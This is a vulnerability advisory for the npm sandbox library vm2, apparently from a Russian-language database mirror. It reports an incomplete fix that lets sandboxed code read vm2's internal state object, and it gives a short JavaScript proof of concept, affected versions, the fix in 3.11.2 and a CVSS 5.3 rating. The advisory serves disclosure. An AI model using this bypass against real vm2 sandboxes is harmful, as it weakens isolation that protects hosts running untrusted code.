Описание
vm2 has access to VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL
Summary
https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.
Details
It is still possible to get access to VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL.
PoC
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL']
`));
Пакеты
Наименование
vm2
npm
Затронутые версииВерсия исправления
< 3.11.2
3.11.2
5.3 Medium
CVSS3
Дефекты
CWE-693
5.3 Medium
CVSS3
Дефекты
CWE-693